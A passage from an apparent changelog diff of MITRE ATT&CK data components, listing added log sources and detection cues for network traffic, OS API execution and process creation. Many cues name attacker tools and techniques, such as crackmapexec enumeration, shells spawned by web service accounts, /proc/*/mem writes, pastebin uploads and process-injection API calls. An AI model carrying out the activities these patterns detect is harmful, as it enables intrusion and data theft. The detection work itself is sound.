ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:20.168000+00:002025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:31.145000+00:002025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(… SO_ATTACH_FILTER|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf*" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 